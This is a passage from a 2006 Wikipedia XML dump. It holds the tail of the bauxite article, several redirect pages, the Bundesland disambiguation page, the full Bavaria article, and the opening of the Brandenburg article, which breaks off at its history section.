 [[Brazil]]                 14,000   14,000   3,900,000     4,900,000
 [[China]]                   9,000    9,200     720,000     2,000,000
 [[Guinea]]                 15,000   15,000   7,400,000     8,600,000
 [[Guyana]]                  2,400    2,000     700,000       900,000
 [[India]]                   7,370    8,000     770,000     1,400,000
 [[Jamaica]]                11,100   13,000   2,000,000     2,500,000
 [[Russia]]                  4,200    4,000     200,000       250,000
 [[Suriname]]                3,610    4,000     580,000       600,000
 [[United States]]           NA       NA         20,000        40,000
 [[Venezuela]]               4,200    4,400     320,000       350,000
 Other countries        10,800   10,200   4,100,000     4,700,000
 -------------------------------------------------------------------
 World total (rounded) 135,000  137,000  24,000,000    34,000,000

 (Numbers for 2001 estimated)

==External links==
* [http://minerals.usgs.gov/minerals/pubs/commodity/bauxite/ USGS Minerals Information: Bauxite]
*[http://www.mii.org/Minerals/photoal.html Mineral Information Institute]

[[Category:Sedimentary rocks]]

[[ca:Bauxita]]
[[de:Bauxit]]
[[et:Boksiit]]
[[es:Bauxita]]
[[fr:Bauxite]]
[[ko:보크사이트]]
[[it:Bauxite]]
[[he:בוקסיט]]
[[lt:Boksitas]]
[[nl:Bauxiet]]
[[ja:ボーキサイト]]
[[no:Bauksitt]]
[[pl:Boksyt]]
[[pt:Bauxita]]
[[ru:Боксит]]
[[simple:Bauxite]]
[[sk:Bauxit]]
[[sr:Боксит]]
[[sv:Bauxit]]
[[tr:Boksit]]</text>
    </revision>
  </page>
  <page>
    <title>Baden-Wuerttemberg</title>
    <id>3761</id>
    <revision>
      <id>15902076</id>
      <timestamp>2002-07-31T23:55:23Z</timestamp>
      <contributor>
        <username>Jeronimo</username>
        <id>108</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Baden-Württemberg]]</text>
    </revision>
  </page>
  <page>
    <title>Bundesland</title>
    <id>3762</id>
    <revision>
      <id>34492371</id>
      <timestamp>2006-01-09T13:05:33Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">'''''Bundesland''''' (plural ''Bundesländer'') is the [[German language]] name for the [[State (national)|federal states]] of [[Austria]]. Oftentimes it is also used for the states of [[Germany]], but strictly speaking, this is not correct since the German constitution (the [[Grundgesetz]]) names the states simply as '''''Länder''''' (singular ''Land''). 

*For Bundesländer of Austria, see [[States of Austria]].
*For Länder of Germany, see [[States of Germany]].

{{disambig}}

[[Category:Subnational entities]]
[[Category:German loanwords]]

[[de:Bundesland]]
[[et:Liidumaa]]
[[es:Bundesland]]
[[ro:Bundesland]]</text>
    </revision>
  </page>
  <page>
    <title>Bayern</title>
    <id>3763</id>
    <revision>
      <id>15902078</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Bavaria]]
</text>
    </revision>
  </page>
  <page>
    <title>Bavaria</title>
    <id>3764</id>
    <revision>
      <id>41789875</id>
      <timestamp>2006-03-01T19:43:27Z</timestamp>
      <contributor>
        <username>Jasonuhl</username>
        <id>441072</id>
      </contributor>
      <minor />
      <comment>date formatting</comment>
      <text xml:space="preserve">{{alternateuses}}
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
|-
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Flags
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The '''[[Free state (government)|Free State]] of Bavaria'''&amp;nbsp;&amp;nbsp;([[German language|German]]: ''Freistaat Bayern''), with an area of 70,553 km² (27,241 square miles) and 12.4 million inhabitants, forms the southernmost [[States of Germany|state]] '' ''of  [[Germany]]. Its capital is [[Munich]].

| align=&quot;center&quot; bgcolor=&quot;#FFDEAD&quot; | &quot;lozengy&quot; variant
| align=&quot;center&quot; bgcolor=&quot;#FFDEAD&quot; | striped variant
|-
| align=&quot;center&quot; bgcolor=&quot;#EFEFEF&quot; | [[Image:Flag of Bavaria (lozengy).svg|center|100px]] || [[Image:Flag of Bavaria (striped).svg|center|100px]]
|-
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Coat of Arms
|-
| colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#EFEFEF&quot; | [[Image:Coat of arms of Bavaria.svg|none|200px|Staatswappen]]
|-
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Statistics
|-
| Capital: || [[Munich]] ''(München)''
|-
| Area: || 70,553 [[square kilometre|km²]]
|-
| Inhabitants:
| 12.444 Million &lt;small&gt;''(2004-12-31)''&lt;/small&gt;
|-
| [[population density|pop. density]]:
| 176 inh./km²
|-
| Website: || [http://www.bayern.de/English/ bayern.de]
|-
| [[ISO 3166-2]]: || DE-BY
|-
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Politics
|-
| [[Minister-president]]:
| [[Edmund Stoiber]] ([[Christian Social Union in Bavaria|CSU]])
|-
| Ruling party:
| [[Christian Social Union in Bavaria|CSU]]
|-
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Map
|-
| colspan=2 align=center | [[Image:Germany Laender Bayern.png|250px|Federal states of Germany: Bavaria]]
|}

== Culture ==
Bavaria has a culture very distinct from the rest of Germany. Noteworthy differences (especially in rural areas, less significant in the major cities) can be found with respect to:

''Religion:'' Bavarians are typically very conservative Roman Catholics, contrasting markedly with the more casual attitude to religion in much of the rest of Germany. The current pope, [[Pope Benedict XVI|Benedict XVI]], is from Bavaria.  This is expressed by the typical Bavarian greeting: &quot;''Gr&amp;uuml;ss Gott!''&quot; (God greet you).

''Appearance:'' Bavarians resemble the inhabitants of Latin countries in that they give great attention to their personal appearance, while much of the rest of Germany dresses very casually. Also, in a business context, wearing traditional-style clothing is not unusual at least in the south of the Free State. Bavarian cities and towns, whether rich or poor, are among the best looked-after locations in Germany.

''Food and Drink:'' Bavarians tend to place a greater value on food and drink than do other Germans. Bavarians also consume many items of food and drink which are unusual elsewhere in [[Germany]].

''Language:'' Bavarians are very proud of their marked [[dialect]]s and most of them speak with their Bavarian, Franconian or Swabian accent.

''Politics:'' The Christian Social Union, which has ruled in Bavaria uninterruptedly since [[1957]], doesn't seek election in any other state of Germany. The [[Christian Social Union of Bavaria|CSU]], arguably the most inward looking of the major German political parties, combines socially conservative positions with advocacy for extensive involvement of the state in the economy.

''Social behaviour:'' In comparison to the elaborate formality in the rest of [[Germany]], Bavarians can be extremely egalitarian and folksy.

== Geography ==
Bavaria shares international borders with [[Austria]] and the [[Czech Republic]]. Neighbouring states within Germany are [[Baden-Württemberg]], [[Hesse]], [[Thuringia]] and [[Saxony]]. Two major rivers flow through the state, the [[Danube]] (''Donau'') and the [[Main]].

The major cities in Bavaria are [[Munich]] (''München''), [[Nuremberg]] (''Nürnberg''), [[Augsburg]], [[Regensburg]], [[Würzburg]], [[Ingolstadt]], [[Fürth]] and [[Erlangen]].

See also: [[List of places in Bavaria]].

== Politics ==
Bavaria has a [[unicameral]] ''Landtag'', or state parliament, elected by universal suffrage. Until [[December]] [[1999]], there was also a ''Senat'', or [[Senate]], whose members were chosen by social and economic groups in Bavaria, but following a referendum in [[1998]], this institution was abolished. The head of government is the [[Minister-president]].

Bavaria has long been a bastion of conservative politics in Germany, with the [[Christian Social Union]] having almost a stranglehold on power since its inception in 1946. Every Minister-president since 1957 has been a member of this party.

In the 2003 elections the CSU won more than two thirds of the seats in ''Landtag''. No party in post-war West German history had achieved this before (not counting the rigged wins of the [[Socialist Unity Party of Germany|SED]] in [[East Germany]]).
On the other hand the bigger and for that more liberal cities, especially Munich, have been governed for decades by the SPD (Social Democrats).  
From the historical point of view older Bavaria used to be one of the most liberal states until the (today) rather rural areas of Swabia and Francia were added in 1814/15 at the Congress of Vienna.
The Free State of (older) Bavaria and the Duchery of Baden were the first German States to have a constitution in the early 19th Century.

== Administrative Divisions ==
===Regierungsbezirke (administrative regions)===
Bavaria is divided into 7 administrative regions called ''Regierungsbezirke'' (singular ''Regierungsbezirk'').

[[Image:Bavarian_Admin_Districts.jpg]]

# [[Oberfranken]] (Upper Franconia)
# [[Mittelfranken]] (Middle Franconia)
# [[Unterfranken]] (Lower Franconia)
# [[Swabia (administrative region)|Schwaben]] (Swabia)
# [[Oberpfalz]] (Upper Palatinate)
# [[Oberbayern]] (Upper Bavaria)
# [[Niederbayern]] (Lower Bavaria)

These administrative regions consist of 71 administrative districts (called ''Landkreise'', singular ''Landkreis'') and 25 independent cities (''kreisfreie Städte'', singular ''kreisfreie Stadt'').

===Landkreise/kreisfreie Städte (administrative districs/independent cities)===
[[image:bavaria_map.png|Map of Bavaria]] 

Administrative districts:
{|
|-
| width=&quot;34%&quot; valign=&quot;top&quot; |
# [[Aichach-Friedberg]]
# [[Altötting (district)|Altötting]]
# [[Amberg-Sulzbach]]
# [[Ansbach (district)|Ansbach]]
# [[Aschaffenburg (district)|Aschaffenburg]]
# [[Augsburg (district)|Augsburg]]
# [[Bad Kissingen (district)|Bad Kissingen]]
# [[Bad Tölz-Wolfratshausen]]
# [[Bamberg (district)|Bamberg]]
# [[Bayreuth (district)|Bayreuth]]
# [[Berchtesgadener Land]]
# [[Cham (district)|Cham]]
# [[Coburg (district)|Coburg]]
# [[Dachau (district)|Dachau]]
# [[Deggendorf (district)|Deggendorf]]
# [[Dillingen (district)|Dillingen]]
# [[Dingolfing-Landau]]
# [[Donau-Ries]]
# [[Ebersberg (district)|Ebersberg]]
# [[Eichstätt (district)|Eichstätt]]
# [[Erding (district)|Erding]]
# [[Erlangen-Höchstadt]]
# [[Forchheim (district)|Forchheim]]
# [[Freising (district)|Freising]]

| width=&quot;33%&quot; valign=&quot;top&quot; |
&lt;ol start=25&gt;
&lt;li&gt; [[Freyung-Grafenau]]
&lt;li&gt; [[Fürstenfeldbruck (district)|Fürstenfeldbruck]]
&lt;li&gt; [[Fürth (district)|Fürth]]
&lt;li&gt; [[Garmisch-Partenkirchen (district)|Garmisch-Partenkirchen]]
&lt;li&gt; [[Günzburg (district)|Günzburg]]
&lt;li&gt; [[Haßberge]]
&lt;li&gt; [[Hof (district)|Hof]]
&lt;li&gt; [[Kelheim (district)|Kelheim]]
&lt;li&gt; [[Kitzingen (district)|Kitzingen]]
&lt;li&gt; [[Kronach (district)|Kronach]]
&lt;li&gt; [[Kulmbach (district)|Kulmbach]]
&lt;li&gt; [[Landsberg (district)|Landsberg]]
&lt;li&gt; [[Landshut (district)|Landshut]]
&lt;li&gt; [[Lichtenfels (district)|Lichtenfels]]
&lt;li&gt; [[Lindau (district)|Lindau]]
&lt;li&gt; [[Main-Spessart]]
&lt;li&gt; [[Miesbach (district)|Miesbach]]
&lt;li&gt; [[Miltenberg (district)|Miltenberg]]
&lt;li&gt; [[Mühldorf (district)|Mühldorf]]
&lt;li&gt; [[Munich (district)|Munich]] (''München'')
&lt;li&gt; [[Neuburg-Schrobenhausen]]
&lt;li&gt; [[Neumarkt (district)|Neumarkt]]
&lt;li&gt; [[Neustadt (Aisch)-Bad Windsheim]]
&lt;li&gt; [[Neustadt (Waldnaab) (district)|Neustadt (Waldnaab)]]
&lt;/ol&gt;

| width=&quot;33%&quot; valign=&quot;top&quot; |

&lt;ol start=49&gt;
&lt;li&gt; [[Neu-Ulm (district)|Neu-Ulm]]
&lt;li&gt; [[Nürnberger Land]]
&lt;li&gt; [[Oberallgäu]]
&lt;li&gt; [[Ostallgäu]]
&lt;li&gt; [[Passau (district)|Passau]]
&lt;li&gt; [[Pfaffenhofen (district)|Pfaffenhofen]]
&lt;li&gt; [[Regen (district)|Regen]]
&lt;li&gt; [[Regensburg (district)|Regensburg]]
&lt;li&gt; [[Rhön-Grabfeld]]
&lt;li&gt; [[Rosenheim (district)|Rosenheim]]
&lt;li&gt; [[Roth (district)|Roth]]
&lt;li&gt; [[Rottal-Inn]]
&lt;li&gt; [[Schwandorf (district)|Schwandorf]]
&lt;li&gt; [[Schweinfurt (district)|Schweinfurt]]
&lt;li&gt; [[Starnberg (district)|Starnberg]]
&lt;li&gt; [[Straubing-Bogen]]
&lt;li&gt; [[Tirschenreuth (district)|Tirschenreuth]]
&lt;li&gt; [[Traunstein (district)|Traunstein]]
&lt;li&gt; [[Unterallgäu]]
&lt;li&gt; [[Weilheim-Schongau]]
&lt;li&gt; [[Weißenburg-Gunzenhausen]]
&lt;li&gt; [[Wunsiedel (district)|Wunsiedel]]
&lt;li&gt; [[Würzburg (district)|Würzburg]]
&lt;/ol&gt;
|}

Independent cities:
{|
|-
| width=&quot;33%&quot; valign=&quot;top&quot; |
# [[Amberg]]
# [[Ansbach]]
# [[Aschaffenburg]]
# [[Augsburg]]
# [[Bamberg]]
# [[Bayreuth]]
# [[Coburg, Germany|Coburg]]
# [[Erlangen]]
# [[Fürth]]
| width=&quot;33%&quot; valign=&quot;top&quot; |
&lt;ol start=10&gt;
&lt;li&gt; [[Hof, Germany|Hof]]
&lt;li&gt; [[Ingolstadt]]
&lt;li&gt; [[Kaufbeuren]]
&lt;li&gt; [[Kempten im Allgäu|Kempten]]
&lt;li&gt; [[Landshut]]
&lt;li&gt; [[Memmingen]]
&lt;li&gt; [[Munich]] (''München'')
&lt;li&gt; [[Nuremberg]] (''Nürnberg'')
&lt;li&gt; [[Passau]]&lt;/ol&gt;

| width=&quot;33%&quot; valign=&quot;top&quot; |
&lt;ol start=19&gt;
&lt;li&gt; [[Regensburg]]
&lt;li&gt; [[Rosenheim]]
&lt;li&gt; [[Schwabach]]
&lt;li&gt; [[Schweinfurt]]
&lt;li&gt; [[Straubing]]
&lt;li&gt; [[Weiden in der Oberpfalz|Weiden]]
&lt;li&gt; [[Würzburg]]
&lt;/ol&gt;
|}

===Gemeinden (municipalities)===
The 71 administrative districts are on the lowest level divided into 2031 [[municipality|municipalities]] (called ''Gemeinden'', singular ''Gemeinde''). Together with the 25 independent cities (which are in effect municipalities independent of ''Landkreis'' administrations), there are a total of 2056 municipalities in Bavaria.

In 44 of the 71 administrative districts, there are a total of 215 [[unincorporated]] areas (as of January 1, 2005, called ''gemeindefreie Gebiete'', singular ''gemeindefreies Gebiet''), not belonging to any municipality, all uninhabited, mostly forested areas, but also four lakes ([[Chiemsee]] -without islands, [[Starnberger See]] -without island [[Roseninsel]], [[Ammersee]], which are the three largest lakes of Bavaria, and [[Waginger See]]).

== Dialects ==
[[Image:ChapelBavaria.JPG|thumb|A village [[chapel]] in [[Franconia]].]]
Several [[german language|German]] [[dialect]]s are spoken in Bavaria. In the administrative regions to the north the [[Franconian German|Franconian]] dialect is prevalent, in [[Swabia]] the local dialect is [[Swabian German|Swabian]], a thread of the [[Alemannic German|Alemannic]] dialect family. In the Upper Palatinate people speak the Northern Bavarian dialect that can vary regionally. In Upper and Lower Bavaria (Middle) [[Austro-Bavarian]] is the predominant dialect.

== History ==
''Main article: [[History of Bavaria]]''

A precursor to the name Bayern, was the name ''Bayuwaren'' given by the Romans to the province. A later mention was made by the [[Franks]] ca. [[520]]. [[Saint Boniface]] completed the people's conversion to Christianity in the early [[8th century]]. Bavaria resisted the [[Protestant Reformation]], and remains strongly [[Roman Catholic Church|Roman Catholic]].

From about 550 to 788, the house of [[Agilolfing]] ruled the duchy of Bavaria, ending with [[Tassilo III]] who was deposed by [[Charlemagne]].  For the next 400 years numerous families held the duchy, rarely for more than three generations.  The last, and one of the most important, of these dukes was [[Henry the Lion]] of the house of [[Welf]], founder of Munich. 

When Henry the Lion was deposed as duke of [[Saxony]] and Bavaria by his cousin, [[Frederick I, Holy Roman Emperor]], in 1180, Bavaria was awarded as fief to the [[Wittelsbach]] family, which ruled from [[1180]] to [[1918]]. The first of several divisions of the duchy occurred in [[1255]] but in [[1506]] Bavaria was reunited and Munich became the sole capital. In [[1623]] the dukes acquired the [[elector]]al dignity.

Bavaria became a [[King of Bavaria|kingdom]] in [[1806]], and in [[1815]] the [[Rhenish Palatinate]] was annexed to it. In between 1799 and 1817 the leading minister count [[Maximilian Joseph von Montgelas|Montgelas]] followed a strict policy of modernisation and lay the foundations of administrative structres that survived even the monarchy and are (in their core) vaild until today. In 1818 a modern constitution (with the standards of the time) was passed, that established a bicameral Parliament with a House of Lords (&quot;Kammer der Reichsräte&quot;) and a House of Commons (&quot;Kammer der Abgeordneten&quot;). The constitution was valid until the collapse of the monarchy at the end of the First World War.  

Bavaria managed to preserve its independence by playing off the rivalries of [[Prussia]] and [[Austria]], but defeat in the [[1866]] [[Austro-Prussian War]] led to its incorporation into the [[German Empire]] in 1871. In the early [[20th century]] [[Wassily Kandinsky]], [[Paul Klee]], [[Henrik Ibsen]], and other notable artists were drawn to Bavaria, notably to the [[Schwabing]] district of Munich, but the region was devastated by [[World War I]].
[[Image:Wieskirche1998.jpg|thumb|[[Wies]].]]
[[Socialist]] premier [[Kurt Eisner]], who deposed King [[Ludwig III of Bavaria|Ludwig III]], was assassinated in [[1919]] leading to a violently suppressed communist revolt. Extremist activity on the right also increased, notably the [[1923]] [[Beer Hall Putsch]], and Munich and [[Nuremberg]] became [[Nazi]] strongholds under the [[Third Reich]]. As a manufacturing center, Munich was heavily bombed during [[World War II]] and occupied by [[United States Army|U.S. troops]].

Since [[World War II]], Bavaria has been rehabilitated into a prosperous industrial hub. A massive reconstruction effort restored much of Munich's historic core, and the city played host to the [[1972 Summer Olympics]]. More recently, state minister-president [[Edmund Stoiber]] was the CDU/CSU candidate for chancellor in the [[German federal election, 2002|2002 federal election]], and native son [[Cardinal Bishop|Cardinal]] Joseph Ratzinger was elected [[Pope Benedict XVI]] in [[2005]].

=== See also ===
:[[Bavarian Soviet Republic]]
:[[List of rulers of Bavaria]]
:[[List of Premiers of Bavaria]]
:[[Former countries in Europe after 1815]]

==Miscellaneous==
There are many famous people who were born or lived in present-day Bavaria:
*[[Pope Benedict XVI]] -- as of [[April 2005]] he is the current [[Pope]] of the [[Roman Catholic Church]]. His baptismal name is '''Joseph Ratzinger'''.
*'''Painters''' such as [[Hans Holbein the Elder]], [[Albrecht Dürer]], [[Albrecht Altdorfer]], [[Lucas Cranach]], [[Carl Spitzweg]], [[Franz von Lenbach]], [[Franz Stuck|Franz von Stuck]] and [[Franz Marc]].
*'''Musicians''' such as [[Orlande de Lassus|Orlando di Lasso]], [[Christoph Willibald Gluck]], [[Richard Wagner]], [[Richard Strauss]], [[Carl Orff]] and [[Theobald Boehm]], the inventor of the modern [[flute]].
*Modern musicians like [[Klaus Doldinger]] and [[Barbara Dennerlein]].
*'''Writers''', '''poets''' and '''playwrights''' like [[Hans Sachs]], [[Jean Paul]], [[Frank Wedekind]], [[Christian Morgenstern]], [[Oskar Maria Graf]], [[Bertolt Brecht]], [[Lion Feuchtwanger]], [[Thomas Mann]] and his sons [[Klaus Mann|Klaus]] and [[Golo Mann|Golo Mann]].
*'''Scientists''' such as the [[Nobel prize]] winner [[Wilhelm Conrad Röntgen]] and [[Werner Heisenberg]], also [[Adam Ries]], [[Joseph von Fraunhofer]], [[Georg Ohm]], [[Carl von Linde]], [[Rudolf Moessbauer]] and [[Robert Huber]].
*Well-known '''inventors''' such as [[Martin Behaim]], [[Levi Strauss]] and [[Rudolf Diesel]].
*'''Physicians''' like [[Max Joseph von Pettenkofer]], [[Sebastian Kneipp]] and the [[Neurology|Neurologist]] [[Alois Alzheimer]], who first described the [[Alzheimer's Disease]].
*'''Footballers''' like [[Franz Beckenbauer]], [[Sepp Maier]], [[Gerd Müller]], [[Paul Breitner]], [[Klaus Augenthaler]] and [[Lothar Matthäus]].
*'''Film directors''' [[Rainer Werner Fassbinder]], [[Joseph Vilsmaier]] and [[Werner Herzog]].
*[[Kaspar Hauser]]
*[[The Smith of Kochel]]

The motorcycle and automobile makers [[BMW]] (''Bayerische Motoren-Werke'', or Bavarian Motor Works) and [[Audi]], [[Grundig]] (consumer electronics), [[Siemens AG|Siemens]] (electricity, telephones, informatics, medical instruments), [[Adidas]] and [[PUMA AG|Puma]] have (or had) a Bavarian industrial base.

A famous annual festival is called ''[[Oktoberfest]]'' or ''October Festival''. It was first celebrated in 1810 as a public feast when the Bavarian crown prince Ludwig married Therese von Sachsen-Hildburghausen. The celebration originally was designed as a feast for all members of the Bavarian Nation, who should celebrate the country and the crown. It only turned to a pure matter of boozing in the 20th century and is nowadays attended rather by tourists than by Bavarians. Munich locals often despise it. It is celebrated during the two weeks leading up to the first Sunday in October.

Bavaria has also given its name to a major [[Netherlands|Dutch]] brewery, ''[[Bavaria Brewery]]''.

===The meaning of the coat of arms===
Modern coat of arms was designed by [[Eduard Ege]], following heraldic traditions in 1946.

* The Golden Lion: The rampant lion Palatinate in its golden-and-red amour stands for the administrative region of Upper Palatinate. 
* The &quot;Franconian Rake&quot;: It represents the administrative regions of the Upper, Middle and Lower Franconia. 
* The Blue Panther: At the bottom left of the third field there is a blue panther rampant, with gold talons, on a white (silver) ground. It rep-resents the regions of the Lower and Upper Bavaria. 
* The Three Lions: In the fourth field three black lions with red talons stand on a golden ground one above the other, with heads askance. On the Bavarian coat of arms they symbolize Swabia. 
* The White-And-Blue Heart-Shaped Shield: The heart-shaped shield of white and blue fusils askance was originally the coat of arms of the Counts of Bogen to be adopted in 1247 by the Wittelsbachs House. The white-and-blue fusils are indisputably the emblem of Bavaria and the heart-shaped shield today symbolizes Bavaria as a whole. Along with the People's Crown, it is officially used as the Minor Coat of Arms. 
* The People's Crown: The four coat fields with the heart-shaped shield in the centre are crowned with a golden band with precious stones decorated with five ornamental leaves. This crown appeared for the first time in the coat of arms in 1923 to symbolize sovereignty of the people after the dropping out of the royal crown.

===Bavarian &quot;citizenship&quot;===
The fact that, different to the constitutions of all other German Länder, the Bavarian constitution provides for a Bavarian [[citizenship]], is often mentioned as an indicator for Bavarian distinctiveness. Some Bavarians are keen to emphasize that - in accordance with the generous indication of the constitution - they regard everyone
*born in Bavaria,
*born to a Bavarian parent,
*adopted by a Bavarian as a child,
*married to a Bavarian, or
*naturalized in Bavaria,
as a fellow-Bavarian; some of those falling under this untechnical definition express pride to being &quot;Bavarian&quot;. However, state legislation regulating citizenship procedures has never been enacted, the constitution itself provides that all Germans enjoy the same rights as Bavarian citizens, and no office issues certificates concerning a &quot;Bavarian&quot; citizenship. Thus, the notion of citizenship rather bears a folkloristic, not really a political meaning.

Many people in the northern part of Bavaria see themselves as Franconians and do therefore not like to be called &quot;Bavarians&quot;. They have a separate dialect and don't wear typical Bavarian clothing.

===German-Bavarian relations===
It is a common joke in Germany that Bavaria is not part of Germany. In fact a minority seriously agree to this notion; the ''[[Bavaria Party|Bayernpartei]]'' (Bavaria Party) has tendencies to make Bavaria an independent state in Europe. 
It is important to note that Bavaria is the only state that declined the approval of the German constitution in 1949.

===Population and area===
 '''Admin. Region        population'''(2004)    '''area''' (km²)     '''municipalities'''
 [[Lower Bavaria]] ....   1,196,178   9.6%   10,330  14.6%     258  12.5%
 [[Lower Franconia]] ..   1,344,629  10.8%    8,531  12.1%     308  15.0%
 [[Upper Franconia]] ..   1,106,541   8.9%    7,231  10.2%     214  10.4%
 [[Middle Franconia]] .   1,708,972  13.7%    7,245  10.3%     210  10.2%
 [[Upper Palatinate]] .   1,090,289   8.8%    9,691  13.7%     226  11.0%
 [[Swabia]] ...........   1,786,166  14.4%    9,992  14.2%     340  16.5%
 [[Upper Bavaria]] ....   4,211,118  33.8%   17,530  24.8%     500  24.3%
 ------------------  ---------- ------   ------ ------    ---- ------
 Sum                 12,443,893 100.0%   70,550 100.0%   2,056 100.0%

== Bavarian Culture Overseas ==
The Bavarians take great pride in their culture. Traditions are taught to the children and descendants of Bavarian citizens through literature, music and cultural events. Whether actually in Bavaria, overseas or full citizens of other nations they continue to cultivate their traditions. They hold festivals and dances to keep their traditions alive.

In New York the German American Cultural Society is a larger umbrella group for others such as the Bavarian organizations, which represent a specific part of Germany. They proudly put forth a German Parade each year. Various affilliated events take place amongst its groups, one of which is the [[Bavarian Dancers]].

==External links==
*[http://www.bayern.de/ Offical site] of the state of Bavaria
*[http://www.munich-to-vienna-via-salzburg.com/munich/bavaria.html Bavaria], Overview on Bavaria, its history and culture.
*[http://www.bayernviewer.de/ Bayern Viewer] aerial views and maps of Bavaria 
*[http://www.bis.bayern.de/ Detailed map]
*[http://www.haus-bayern.com/ The Royal House of Bavaria], in German only
*[http://www.vdiest.nl/Europa/Germany/bavaria.htm Bavaria information] 
*[http://www.bavariandancers.com/ Bavarian Dancers - Bavarian American Culture]

{{Germany_states}}

[[Category:Bavaria]]
[[Category:States of Germany]]

[[als:Bayern]]
[[ar:بافاريا]]
[[ast:Estáu Llibre de Baviera]]
[[bg:Бавария]]
[[ca:Baviera]]
[[cs:Bavorsko]]
[[da:Bayern]]
[[de:Bayern]]
[[eo:Bavario]]
[[es:Baviera]]
[[et:Baieri]]
[[fa:بایرن]]
[[fi:Baijeri]]
[[fr:Bavière]]
[[gl:Baviera]]
[[he:בוואריה]]
[[hr:Bavarska]]
[[hu:Bajorország]]
[[id:Bayern]]
[[it:Baviera]]
[[ja:バイエルン州]]
[[jv:Bayern]]
[[ka:ბავარია]]
[[ko:바이에른 주]]
[[la:Bavaria]]
[[lt:Bavarija]]
[[lv:Bavārija]]
[[nds:Bayern]]
[[nl:Beieren]]
[[no:Bayern]]
[[pl:Bawaria]]
[[pt:Baviera]]
[[ro:Bavaria]]
[[ru:Бавария]]
[[simple:Bavaria]]
[[sk:Bavorsko]]
[[sr:Бајерн]]
[[sv:Bayern]]
[[ta:பவேரியா]]
[[uk:Баварія]]
[[zh:巴伐利亚]]</text>
    </revision>
  </page>
  <page>
    <title>Brandenburg</title>
    <id>3765</id>
    <revision>
      <id>41766947</id>
      <timestamp>2006-03-01T16:26:09Z</timestamp>
      <contributor>
        <username>Jared Preston</username>
        <id>262550</id>
      </contributor>
      <minor />
      <comment>pop. update</comment>
      <text xml:space="preserve">{{otheruses}}
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; style=&quot;float:right; margin-left:15px;margin-bottom:15px;empty-cells:show; width:225px&quot;
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Flag
|-
| colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#EFEFEF&quot; | &lt;br&gt;[[Image:Flag de-brandenburg.png|110px|Flag of Brandenburg]]&lt;br&gt; 
|-
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Coat-of-Arms
|-
| colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#EFEFEF&quot; | &lt;br&gt;[[Image:Coat of arms de-brandenburg.png|75px|Arms of Brandenburg]]&lt;br&gt; 
|-! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Statistics
|-
| Capital: || [[Potsdam]]
|-
| Area: || 29,478.14 [[square kilometre|km²]]
|-
| Inhabitants: || 2.568.507 &lt;small&gt;''(31/12/2004)''&lt;/small&gt;
|-
| [[population density|pop. density]]: || 87 people/km²
|-
| Website: || http://www.brandenburg.de/
|-
| [[ISO 3166-2]]: || DE-BR
|-
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Politics
|-
| [[Minister-president]]:
| [[Matthias Platzeck]] ([[Social Democratic Party of Germany|SPD]])
|-
| Ruling party: || [[Social Democratic Party of Germany|SPD]]/[[Christian-Democratic Union of Germany|CDU]] coalition
|-
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | Map
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | &lt;br&gt;[[Image:Germany Laender Brandenburg.png|250px]]&lt;br&gt; 
|}
Surrounding but excluding the national capital [[Berlin]], '''Brandenburg''' is one of [[Germany]]'s sixteen ''[[States of Germany|Bundesländer]]'' (federal states). 
Lying in the east of the country, in its current form it is one of the new states created in 1990 upon the reunification of the former [[West Germany]] and [[East Germany]]. The capital is [[Potsdam]].

Historically Brandenburg was an independent state which grew to become the core of modern Germany ([[#History|see below]]). The state of Brandenburg was named after the town of [[Brandenburg (town)|Brandenburg]].

== Geography ==
Brandenburg is bordered by [[Mecklenburg-Western Pomerania]] in the north, [[Poland]] in the east, [[Saxony]] in the south, [[Saxony-Anhalt]] in the west and [[Lower Saxony]] in the northwest.

The [[Oder]] river forms a part of the eastern border, the [[Elbe]] river a portion of the western border. The main rivers in the state itself are the [[Spree]] and the [[Havel]]. In the southeast there is a wetlands region called the [[Spreewald]]; it is the northernmost part of the [[Lausitz]], where the [[Slavic peoples|Slavic]] people of the [[Sorbs]] still live. These areas are bilingual, i.e. [[German language|German]] and [[Sorbian language|Sorbian]] are both used.

''See also:'' [[List of places in Brandenburg]].

== Administration ==
Brandenburg is divided into fourteen (rural) counties (''Landkreise''),

[[image:brandenburg.jpg]]&lt;br /&gt;
{|
|-
|
# [[Barnim]]
# [[Dahme-Spreewald]]
# [[Elbe-Elster]]
# [[Havelland]]
# [[Märkisch-Oderland]]
# [[Oberhavel]]
# [[Oberspreewald-Lausitz]]
|
&lt;ol start=8&gt;
&lt;li&gt; [[Oder-Spree]]
&lt;li&gt; [[Ostprignitz-Ruppin]]
&lt;li&gt; [[Potsdam-Mittelmark]]
&lt;li&gt; [[Prignitz]]
&lt;li&gt; [[Spree-Neiße]]
&lt;li&gt; [[Teltow-Fläming]]
&lt;li&gt; [[Uckermark]]
&lt;/ol&gt;
|}

and four independent cities (''Stadtkreise''),

# [[Brandenburg (town)|Brandenburg an der Havel]]
# [[Cottbus]]
# [[Frankfurt an der Oder]]
# [[Potsdam]]

== History ==

